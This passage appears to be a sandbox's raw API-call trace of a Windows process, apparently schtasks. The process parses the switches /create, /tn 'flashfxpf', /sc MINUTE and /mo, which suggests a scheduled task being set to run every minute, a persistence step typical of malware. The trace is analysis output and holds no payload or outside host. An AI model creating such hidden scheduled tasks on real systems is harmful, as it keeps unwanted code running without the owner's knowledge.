lpString2="PARSER2", cchCount2=-1) returned 2 [0163.296] lstrlenW (lpString="z") returned 1 [0163.296] GetThreadLocale () returned 0x409 [0163.296] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.296] lstrlenW (lpString="f") returned 1 [0163.296] GetThreadLocale () returned 0x409 [0163.296] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.296] lstrlenW (lpString="v1") returned 2 [0163.296] GetThreadLocale () returned 0x409 [0163.296] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.296] lstrlenW (lpString="xml") returned 3 [0163.296] GetThreadLocale () returned 0x409 [0163.296] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.296] lstrlenW (lpString="ec") returned 2 [0163.296] GetThreadLocale () returned 0x409 [0163.297] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.297] lstrlenW (lpString="rl") returned 2 [0163.297] GetThreadLocale () returned 0x409 [0163.297] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.297] lstrlenW (lpString="delay") returned 5 [0163.297] GetThreadLocale () returned 0x409 [0163.297] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.297] lstrlenW (lpString="np") returned 2 [0163.297] SetLastError (dwErrCode=0x0) [0163.297] SetLastError (dwErrCode=0x0) [0163.297] lstrlenW (lpString="/create") returned 7 [0163.297] lstrlenW (lpString="-/") returned 2 [0163.297] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0163.297] lstrlenW (lpString="create") returned 6 [0163.297] lstrlenW (lpString="create") returned 6 [0163.297] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.297] lstrlenW (lpString="create") returned 6 [0163.297] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.297] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|create|") returned 8 [0163.297] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|create|") returned 8 [0163.297] lstrlenW (lpString="|create|") returned 8 [0163.297] lstrlenW (lpString="|create|") returned 8 [0163.297] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0163.297] SetLastError (dwErrCode=0x0) [0163.297] SetLastError (dwErrCode=0x0) [0163.297] SetLastError (dwErrCode=0x0) [0163.297] lstrlenW (lpString="/tn") returned 3 [0163.297] lstrlenW (lpString="-/") returned 2 [0163.297] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0163.297] lstrlenW (lpString="create") returned 6 [0163.297] lstrlenW (lpString="create") returned 6 [0163.297] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.298] lstrlenW (lpString="tn") returned 2 [0163.298] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.298] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|create|") returned 8 [0163.298] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|tn|") returned 4 [0163.298] lstrlenW (lpString="|create|") returned 8 [0163.298] lstrlenW (lpString="|tn|") returned 4 [0163.298] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0163.298] SetLastError (dwErrCode=0x490) [0163.298] lstrlenW (lpString="?") returned 1 [0163.298] lstrlenW (lpString="?") returned 1 [0163.298] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.298] lstrlenW (lpString="tn") returned 2 [0163.298] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.298] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|?|") returned 3 [0163.298] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|tn|") returned 4 [0163.298] lstrlenW (lpString="|?|") returned 3 [0163.298] lstrlenW (lpString="|tn|") returned 4 [0163.298] SetLastError (dwErrCode=0x490) [0163.298] lstrlenW (lpString="s") returned 1 [0163.298] lstrlenW (lpString="s") returned 1 [0163.298] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.298] lstrlenW (lpString="tn") returned 2 [0163.298] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.298] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|s|") returned 3 [0163.298] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|tn|") returned 4 [0163.298] lstrlenW (lpString="|s|") returned 3 [0163.298] lstrlenW (lpString="|tn|") returned 4 [0163.298] SetLastError (dwErrCode=0x490) [0163.298] lstrlenW (lpString="u") returned 1 [0163.298] lstrlenW (lpString="u") returned 1 [0163.299] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.299] lstrlenW (lpString="tn") returned 2 [0163.299] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.299] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|u|") returned 3 [0163.299] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|tn|") returned 4 [0163.299] lstrlenW (lpString="|u|") returned 3 [0163.299] lstrlenW (lpString="|tn|") returned 4 [0163.299] SetLastError (dwErrCode=0x490) [0163.299] lstrlenW (lpString="p") returned 1 [0163.299] lstrlenW (lpString="p") returned 1 [0163.299] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.299] lstrlenW (lpString="tn") returned 2 [0163.299] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.299] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|p|") returned 3 [0163.299] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|tn|") returned 4 [0163.299] lstrlenW (lpString="|p|") returned 3 [0163.299] lstrlenW (lpString="|tn|") returned 4 [0163.299] SetLastError (dwErrCode=0x490) [0163.299] lstrlenW (lpString="ru") returned 2 [0163.299] lstrlenW (lpString="ru") returned 2 [0163.299] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.299] lstrlenW (lpString="tn") returned 2 [0163.299] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.299] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|ru|") returned 4 [0163.299] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|tn|") returned 4 [0163.299] lstrlenW (lpString="|ru|") returned 4 [0163.299] lstrlenW (lpString="|tn|") returned 4 [0163.299] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0163.299] SetLastError (dwErrCode=0x490) [0163.299] lstrlenW (lpString="rp") returned 2 [0163.299] lstrlenW (lpString="rp") returned 2 [0163.300] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.300] lstrlenW (lpString="tn") returned 2 [0163.300] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.300] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|rp|") returned 4 [0163.300] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|tn|") returned 4 [0163.300] lstrlenW (lpString="|rp|") returned 4 [0163.300] lstrlenW (lpString="|tn|") returned 4 [0163.300] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0163.300] SetLastError (dwErrCode=0x490) [0163.300] lstrlenW (lpString="sc") returned 2 [0163.300] lstrlenW (lpString="sc") returned 2 [0163.300] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.300] lstrlenW (lpString="tn") returned 2 [0163.300] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.300] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|sc|") returned 4 [0163.300] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|tn|") returned 4 [0163.300] lstrlenW (lpString="|sc|") returned 4 [0163.300] lstrlenW (lpString="|tn|") returned 4 [0163.300] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0163.300] SetLastError (dwErrCode=0x490) [0163.300] lstrlenW (lpString="mo") returned 2 [0163.300] lstrlenW (lpString="mo") returned 2 [0163.300] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.300] lstrlenW (lpString="tn") returned 2 [0163.300] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.300] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|mo|") returned 4 [0163.300] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|tn|") returned 4 [0163.300] lstrlenW (lpString="|mo|") returned 4 [0163.300] lstrlenW (lpString="|tn|") returned 4 [0163.300] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0163.301] SetLastError (dwErrCode=0x490) [0163.301] lstrlenW (lpString="d") returned 1 [0163.301] lstrlenW (lpString="d") returned 1 [0163.301] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.301] lstrlenW (lpString="tn") returned 2 [0163.301] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.301] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|d|") returned 3 [0163.301] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|tn|") returned 4 [0163.301] lstrlenW (lpString="|d|") returned 3 [0163.301] lstrlenW (lpString="|tn|") returned 4 [0163.301] SetLastError (dwErrCode=0x490) [0163.301] lstrlenW (lpString="m") returned 1 [0163.301] lstrlenW (lpString="m") returned 1 [0163.301] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.301] lstrlenW (lpString="tn") returned 2 [0163.301] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.301] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|m|") returned 3 [0163.301] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|tn|") returned 4 [0163.301] lstrlenW (lpString="|m|") returned 3 [0163.301] lstrlenW (lpString="|tn|") returned 4 [0163.301] SetLastError (dwErrCode=0x490) [0163.301] lstrlenW (lpString="i") returned 1 [0163.301] lstrlenW (lpString="i") returned 1 [0163.301] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.301] lstrlenW (lpString="tn") returned 2 [0163.301] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.301] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|i|") returned 3 [0163.301] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|tn|") returned 4 [0163.301] lstrlenW (lpString="|i|") returned 3 [0163.301] lstrlenW (lpString="|tn|") returned 4 [0163.301] SetLastError (dwErrCode=0x490) [0163.302] lstrlenW (lpString="tn") returned 2 [0163.302] lstrlenW (lpString="tn") returned 2 [0163.302] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.302] lstrlenW (lpString="tn") returned 2 [0163.302] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.302] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|tn|") returned 4 [0163.302] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|tn|") returned 4 [0163.302] lstrlenW (lpString="|tn|") returned 4 [0163.302] lstrlenW (lpString="|tn|") returned 4 [0163.302] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0163.302] SetLastError (dwErrCode=0x0) [0163.302] SetLastError (dwErrCode=0x0) [0163.302] lstrlenW (lpString="flashfxpf") returned 9 [0163.302] lstrlenW (lpString="-/") returned 2 [0163.302] StrChrIW (lpStart="-/", wMatch=0x66) returned 0x0 [0163.302] SetLastError (dwErrCode=0x490) [0163.302] SetLastError (dwErrCode=0x490) [0163.302] SetLastError (dwErrCode=0x0) [0163.302] lstrlenW (lpString="flashfxpf") returned 9 [0163.302] StrChrIW (lpStart="flashfxpf", wMatch=0x3a) returned 0x0 [0163.302] SetLastError (dwErrCode=0x490) [0163.302] SetLastError (dwErrCode=0x0) [0163.302] lstrlenW (lpString="flashfxpf") returned 9 [0163.302] SetLastError (dwErrCode=0x0) [0163.302] SetLastError (dwErrCode=0x0) [0163.302] lstrlenW (lpString="/sc") returned 3 [0163.302] lstrlenW (lpString="-/") returned 2 [0163.302] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0163.302] lstrlenW (lpString="create") returned 6 [0163.302] lstrlenW (lpString="create") returned 6 [0163.302] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.302] lstrlenW (lpString="sc") returned 2 [0163.302] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.303] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|create|") returned 8 [0163.303] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|sc|") returned 4 [0163.303] lstrlenW (lpString="|create|") returned 8 [0163.303] lstrlenW (lpString="|sc|") returned 4 [0163.303] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0163.303] SetLastError (dwErrCode=0x490) [0163.303] lstrlenW (lpString="?") returned 1 [0163.303] lstrlenW (lpString="?") returned 1 [0163.303] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.303] lstrlenW (lpString="sc") returned 2 [0163.303] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.303] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|?|") returned 3 [0163.303] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|sc|") returned 4 [0163.303] lstrlenW (lpString="|?|") returned 3 [0163.303] lstrlenW (lpString="|sc|") returned 4 [0163.303] SetLastError (dwErrCode=0x490) [0163.303] lstrlenW (lpString="s") returned 1 [0163.303] lstrlenW (lpString="s") returned 1 [0163.303] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.303] lstrlenW (lpString="sc") returned 2 [0163.303] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.303] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|s|") returned 3 [0163.303] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|sc|") returned 4 [0163.303] lstrlenW (lpString="|s|") returned 3 [0163.303] lstrlenW (lpString="|sc|") returned 4 [0163.303] SetLastError (dwErrCode=0x490) [0163.303] lstrlenW (lpString="u") returned 1 [0163.303] lstrlenW (lpString="u") returned 1 [0163.303] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.304] lstrlenW (lpString="sc") returned 2 [0163.304] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.304] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|u|") returned 3 [0163.304] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|sc|") returned 4 [0163.304] lstrlenW (lpString="|u|") returned 3 [0163.304] lstrlenW (lpString="|sc|") returned 4 [0163.304] SetLastError (dwErrCode=0x490) [0163.304] lstrlenW (lpString="p") returned 1 [0163.304] lstrlenW (lpString="p") returned 1 [0163.304] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.304] lstrlenW (lpString="sc") returned 2 [0163.304] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.304] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|p|") returned 3 [0163.304] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|sc|") returned 4 [0163.304] lstrlenW (lpString="|p|") returned 3 [0163.304] lstrlenW (lpString="|sc|") returned 4 [0163.304] SetLastError (dwErrCode=0x490) [0163.304] lstrlenW (lpString="ru") returned 2 [0163.304] lstrlenW (lpString="ru") returned 2 [0163.304] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.304] lstrlenW (lpString="sc") returned 2 [0163.304] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.304] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|ru|") returned 4 [0163.304] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|sc|") returned 4 [0163.304] lstrlenW (lpString="|ru|") returned 4 [0163.304] lstrlenW (lpString="|sc|") returned 4 [0163.304] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0163.304] SetLastError (dwErrCode=0x490) [0163.304] lstrlenW (lpString="rp") returned 2 [0163.304] lstrlenW (lpString="rp") returned 2 [0163.304] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.304] lstrlenW (lpString="sc") returned 2 [0163.305] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.305] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|rp|") returned 4 [0163.305] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|sc|") returned 4 [0163.305] lstrlenW (lpString="|rp|") returned 4 [0163.305] lstrlenW (lpString="|sc|") returned 4 [0163.305] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0163.305] SetLastError (dwErrCode=0x490) [0163.305] lstrlenW (lpString="sc") returned 2 [0163.305] lstrlenW (lpString="sc") returned 2 [0163.305] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.305] lstrlenW (lpString="sc") returned 2 [0163.305] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.305] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|sc|") returned 4 [0163.305] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|sc|") returned 4 [0163.305] lstrlenW (lpString="|sc|") returned 4 [0163.305] lstrlenW (lpString="|sc|") returned 4 [0163.305] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0163.305] SetLastError (dwErrCode=0x0) [0163.305] SetLastError (dwErrCode=0x0) [0163.305] lstrlenW (lpString="MINUTE") returned 6 [0163.305] lstrlenW (lpString="-/") returned 2 [0163.305] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0163.305] SetLastError (dwErrCode=0x490) [0163.305] SetLastError (dwErrCode=0x490) [0163.305] SetLastError (dwErrCode=0x0) [0163.305] lstrlenW (lpString="MINUTE") returned 6 [0163.305] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0163.305] SetLastError (dwErrCode=0x490) [0163.305] SetLastError (dwErrCode=0x0) [0163.305] GetProcessHeap () returned 0x200000 [0163.305] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x18) returned 0x21d530 [0163.305] _memicmp (_Buf1=0x21d530, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.305] lstrlenW (lpString="MINUTE") returned 6 [0163.305] GetProcessHeap () returned 0x200000 [0163.305] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0xe) returned 0x21d550 [0163.305] lstrlenW (lpString="MINUTE") returned 6 [0163.306] lstrlenW (lpString=" \x09") returned 2 [0163.306] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0163.306] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0163.306] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0163.306] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0163.306] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0163.306] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0163.306] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0163.306] GetLastError () returned 0x0 [0163.306] lstrlenW (lpString="MINUTE") returned 6 [0163.306] lstrlenW (lpString="MINUTE") returned 6 [0163.306] SetLastError (dwErrCode=0x0) [0163.306] SetLastError (dwErrCode=0x0) [0163.306] lstrlenW (lpString="/mo") returned 3 [0163.306] lstrlenW (lpString="-/") returned 2 [0163.306] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0163.306] lstrlenW (lpString="create") returned 6 [0163.306] lstrlenW (lpString="create") returned 6 [0163.306] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.306] lstrlenW (lpString="mo") returned 2 [0163.306] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.306] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|create|") returned 8 [0163.306] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|mo|") returned 4 [0163.306] lstrlenW (lpString="|create|") returned 8 [0163.306] lstrlenW (lpString="|mo|") returned 4 [0163.306] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0163.306] SetLastError (dwErrCode=0x490) [0163.306] lstrlenW (lpString="?") returned 1 [0163.306] lstrlenW (lpString="?") returned 1 [0163.306] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.306] lstrlenW (lpString="mo") returned 2 [0163.306] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.306] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|?|") returned 3 [0163.306] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|mo|") returned 4 [0163.307] lstrlenW (lpString="|?|") returned 3 [0163.307] lstrlenW (lpString="|mo|") returned 4 [0163.307] SetLastError (dwErrCode=0x490) [0163.307] lstrlenW (lpString="s") returned 1 [0163.307] lstrlenW (lpString="s") returned 1 [0163.307] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.307] lstrlenW (lpString="mo") returned 2 [0163.307] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.307] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|s|") returned 3 [0163.307] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|mo|") returned 4 [0163.307] lstrlenW (lpString="|s|") returned 3 [0163.307] lstrlenW (lpString="|mo|") returned 4 [0163.307] SetLastError (dwErrCode=0x490) [0163.307] lstrlenW (lpString="u") returned 1 [0163.307] lstrlenW (lpString="u") returned 1 [0163.307] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.307] lstrlenW (lpString="mo") returned 2 [0163.307] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.307] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|u|") returned 3 [0163.307] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|mo|") returned 4 [0163.307] lstrlenW (lpString="|u|") returned 3 [0163.307] lstrlenW (lpString="|mo|") returned 4 [0163.307] SetLastError (dwErrCode=0x490) [0163.307] lstrlenW (lpString="p") returned 1 [0163.307] lstrlenW (lpString="p") returned 1 [0163.307] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.307] lstrlenW (lpString="mo") returned 2 [0163.307] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.307] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|p|") returned 3 [0163.307] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|mo|") returned 4 [0163.307] lstrlenW (lpString="|p|") returned 3 [0163.307] lstrlenW (lpString="|mo|") returned 4 [0163.308] SetLastError (dwErrCode=0x490) [0163.308] lstrlenW (lpString="ru") returned 2 [0163.308] lstrlenW (lpString="ru") returned 2 [0163.308] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.308] lstrlenW (lpString="mo") returned 2 [0163.308] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.308] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|ru|") returned 4 [0163.308] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|mo|") returned 4 [0163.308] lstrlenW (lpString="|ru|") returned 4 [0163.308] lstrlenW (lpString="|mo|") returned 4 [0163.308] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0163.308] SetLastError (dwErrCode=0x490) [0163.308] lstrlenW (lpString="rp") returned 2 [0163.308] lstrlenW (lpString="rp") returned 2 [0163.308] 